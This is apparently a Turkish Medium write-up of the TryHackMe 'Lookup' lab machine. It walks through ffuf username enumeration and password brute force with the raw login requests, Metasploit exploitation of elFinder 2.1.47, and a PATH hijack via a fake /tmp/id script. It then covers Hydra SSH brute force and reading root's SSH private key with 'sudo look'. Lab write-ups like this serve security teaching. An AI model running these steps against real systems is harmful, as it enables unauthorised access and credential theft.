← Back to list

THM Lookup

Enumeration

Hasan Fırat Kılıç · 2026-08-26 17:44 · 0 claps · 5.1 min read
#look-up #lookup-thm #thm-writeup #thm #thm-walkthrough
Open on Medium ↗

THM Lookup

Enumeration

İlk olarak hedef makinedeki açık portları ve bu portlarda çalışan servislerin versiyonlarını belirlemek için Nmap taraması gerçekleştirdim.

Elde edilen servis ve versiyon bilgileri araştırdığımda doğrudan kullanılabilecek kayda değer bir zafiyet bulamadım. Bu nedenle araştırmaya 80 numaralı portta çalışan web uygulaması üzerinden devam ettim.

Web uygulaması açıldığında bir login sayfası ile karşılaştım.

Web Enumeration

İlk olarak login formunda SQL Injection kullanarak kimlik doğrulamayı bypass etmeye çalıştım ancak başarılı olamadım.

Daha sonra uygulamanın farklı kullanıcı adlarına verdiği cevapları incelemek için rastgele bilgilerle giriş denemeleri yaptım.

Rastgele bir kullanıcı adı ile:

Wrong username or password. Please try again

cevabı alınırken, kullanıcı adı admin olarak gönderildiğinde:

Wrong password. Please try again.

cevabı alını aldım.

Bu farklılık, uygulamanın username enumeration yapılmasına izin verdiğini gösteriyor. Yani uygulamanın cevabından kullanıcı adının sistemde mevcut olup olmadığı anlaşılabiliyor.

Bu davranış kullanılarak uygulamada kayıtlı başka kullanıcı adlarını bulmak için ffuf aracını kullandım ve jose isimli bir kullanıcı keşfettim.

username enumeration için request_login.txt içeriği:

POST /login.php HTTP/1.1
    Host: lookup.thm
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 29
    Origin: http://lookup.thm
    Connection: keep-alive
    Referer: http://lookup.thm/
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i

    username=FUZZ&password=1234

Burada FUZZ kısmına rockyou.txt wordlist'indeki değerler gönderildi ve uygulamanın cevaplarındaki farklılıklar kullanılarak geçerli kullanıcı adları tespit edildi.

Password Brute Force

Geçerli kullanıcı adları elde edildikten sonra bu hesaplar üzerinde parola brute-force denemesi yaptım.

Öncelikle admin hesabı denedim ancak başarılı olamadım.

Daha sonra jose kullanıcısı üzerinde parola brute-force gerçekleştirdim ve:

password123

parolasını buldum.

parola enumeration için request_login.txt içeriği:

POST /login.php HTTP/1.1
    Host: lookup.thm
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 29
    Origin: http://lookup.thm
    Connection: keep-alive
    Referer: http://lookup.thm/
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i

    username=jose&password=FUZZ

Bulunan kullanıcı adı ve parola ile login işlemi gerçekleştirdim.

elFinder

Başarılı giriş sonrasında elFinder isimli dosya yönetim uygulamasının bulunduğu bir sayfa ile karşılaştım.

Uygulamanın versiyonu incelendiğinde versiyonunun elFinder 2.1.47 kullanıldığı görüldü.

Bu versiyon araştırdığımda command injection zafiyetinin bulunduğu ve bunun için bilinen exploitlerin mevcut olduğu tespit ettim.

Metasploit kullanılarak zafiyet istismar ettim ve hedef makinede shell elde ettim.

SUID Enumeration

Shell elde edildikten sonra sistemdeki kullanıcıları incelemek için /etc/passwd dosyası kontrol ettim.

Burada think isimli bir kullanıcı buldum.

Daha sonra sistemde SUID/SGID biti bulunan dosyaları bulmak için:

find / -type f -perm -04000 -ls 2>/dev/null

komutu çalıştırdım.

Çıktı incelendiğinde pwm isimli bir binary dikkatimi çekti.

pwd çalıştırıldığında:

[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

çıktısı elde edildi.

Burada önemli bir detay dikkat çekiyor: program kullanıcı adını belirlemek için doğrudan /usr/bin/id gibi tam bir yol kullanmak yerine yalnızca:

id

komutunu çalıştırıyor.

Bu durum PATH hijacking ihtimalini ortaya çıkarıyor.

Binary Analysis

pwm binary'sinin davranışını daha iyi anlamak için Dogbolt kullanılarak reverse engineering yapıtım.

Decompile edilen kod incelendiğimde programın:

  1. id komutunu çalıştırdığı,
  2. Çıktı içerisinden kullanıcı adını regex/format kullanarak çıkardığı,
  3. Daha sonra /home/<username>/.passwords dosyasını açtığı,
  4. Dosyanın içeriğini ekrana yazdırdığı

gördüm.

Önemli bölüm:

snprintf(local_e8,100,"id"); 
pFVar2 = popen(local_e8,"r");

Ardından kullanıcı adı elde edildikten sonra:

snprintf(local_78,100,"/home/%s/.passwords",local_128); 
pFVar2 = fopen(local_78,"r");

kullanılarak ilgili kullanıcının .passwords dosyası okunuyor.

Dolayısıyla id komutunun çıktısını kontrol edebilirsek programın hangi kullanıcı adına ait dosyayı okuyacağını da kontrol edebiliriz.

PATH Hijacking

Bunun için /tmp dizini içerisine sahte bir id executable'ı oluşturdum:

nano /tmp/id

İçerisine:

#!/bin/bash
echo "uid=33(think) gid=33(think) groups=33(think)"

yazdım.

Dosya çalıştırılabilir hale getirdim:

chmod +x /tmp/id

Ardından /tmp dizini PATH'in başına eklendi:

export PATH=/tmp:$PATH

Buradaki kritik nokta, pwm binary'sinin id komutunu tam yol belirtmeden çalıştırmasıdır.

Normalde sistem PATH içerisindeki dizinlerde id komutunu arar. /tmp dizini PATH'in başına eklendiği için program gerçek id binary'sinden önce bizim oluşturduğumuz /tmp/id dosyasını bulacaktır.

Böylece pwm çalıştırıldığında gerçek kullanıcı yerine bizim belirlediğimiz:

think

kullanıcısının id çıktısı döndürülmüş olur.

Program da bu çıktıyı kullanarak:

/home/think/.passwords

dosyasını okumaya çalışacaktır.

pwm çalıştırıldığında dosyanın içeriği başarıyla ekrana yazdırıldı.

Böylece think kullanıcısına ait parola adayları elde edilmiş oldu.

SSH Brute Force

Elde edilen parola adayları think_password.txt dosyasına kaydettim.

Daha sonra Hydra kullanılarak SSH servisi üzerinde brute-force gerçekleştirdim.

Doğru parola elde edildikten sonra SSH üzerinden think kullanıcısına bağlandım.

Kullanıcının home dizininde bulunan user.txt dosyası okunarak ilk flag elde ettim.

Privilege Escalation

Bir sonraki adımda think kullanıcısının hangi komutları root yetkisiyle çalıştırabildiği kontrol ettim:

sudo -l

Çıktıda look komutunun parola gerektirmeden root yetkisiyle çalıştırılabildiği gördüm.

Bu durum privilege escalation için kullanılabilir.

look komutunun dosya içerisindeki belirli bir değeri aramak için kullanılabilmesinden yararlanılarak root kullanıcısının SSH private key'i okunmaya çalıştım:

sudo look '' /root/.ssh/id_rsa

Böylece root kullanıcısına ait RSA private key elde ettim.

Root Access

Elde edilen private key kendi makinemde id_rsa isimli bir dosyaya kaydettim.

SSH’nin private key’i kabul etmesi için dosyanın izinleri düzenledim:

chmod 600 id_rsa

Ardından elde edilen anahtar kullanılarak root kullanıcısına SSH bağlantısı gerçekleştirdim:

ssh -i id_rsa root@TARGET_IP

Başarılı bağlantının ardından root yetkisi elde edildi.

Son olarak:

cat /root/root.txt

komutu çalıştırılarak ikinci flag elde ettim.

Sonuç

Bu makinede kullanılan saldırı zinciri özetle şu şekildeydi:

  1. Nmap ile açık portlar keşfedildi.
  2. Web uygulaması üzerinde username enumeration yapıldı.
  3. jose kullanıcısı keşfedildi.
  4. Kullanıcının parolası brute-force ile elde edildi.
  5. elFinder 2.1.47 keşfedildi.
  6. Command injection kullanılarak shell elde edildi.
  7. SUID binary’ler incelendi.
  8. pwm binary'sinde PATH hijacking zafiyeti tespit edildi.
  9. think kullanıcısının .passwords dosyası okundu.
  10. Elde edilen parola ile SSH üzerinden think kullanıcısına erişildi.
  11. sudo -l ile look komutunun root yetkisiyle çalıştırılabildiği tespit edildi.
  12. look kullanılarak root kullanıcısının SSH private key'i okundu.
  13. Private key kullanılarak root erişimi elde edildi.
  14. root.txt okunarak ikinci flag ele geçirildi.

Makinedeki temel zafiyetler:

  • Username Enumeration
  • Weak Password
  • Command Injection
  • SUID Binary
  • PATH Hijacking
  • Sensitive File Disclosure
  • Sudo Misconfiguration

메타데이터
post_id
a01fe892de6d
slug
thm-lookup-a01fe892de6d
url
https://medium.com/@firat.kilic55600/thm-lookup-a01fe892de6d
canonical_url
https://medium.com/@firat.kilic55600/thm-lookup-a01fe892de6d
author_url
https://medium.com/@firat.kilic55600
status
ok
fetched_at
2026-09-01 07:14:51